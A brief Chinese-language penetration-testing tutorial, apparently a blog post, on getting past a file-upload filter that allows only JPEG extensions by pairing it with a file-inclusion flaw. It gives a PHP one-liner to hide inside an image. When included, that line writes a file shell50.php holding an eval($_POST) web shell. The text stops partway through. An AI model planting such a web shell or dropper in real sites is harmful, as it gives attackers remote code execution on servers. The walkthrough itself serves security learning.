在《文件上传漏洞—Web渗透学习》一文中讲到在高安全级别(有较强安全意识的开发人员)中,开放人员定义了用户上传文件的扩展名,只有文件扩展名是jpg、JPG、jpeg、JPEG等文件才允许上传。通过代理服务器等方法无法对其进行渗透。
通过文件包含漏洞的渗透方法和文件上传漏洞的方法结合,可以成功渗透文件上传漏洞中的高安全级别。
原理:
我们在高安全级别中真实的长传一张图片,但在通过图片编辑软件,将php语句添加到该图片中。
php语句如下:
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[1]);?>')?>
然后通过文件包含来访问该图片,使该语句得到执行,从而生成shell50.php文件,文件内容为:
<?php eval($_POST['1']);?>
上传图片:
通过文件包含访问该图片(显示乱码表示图片上传成功):
访问的实质是通过include函数对执行上传的图片进行执行,从而生成shell50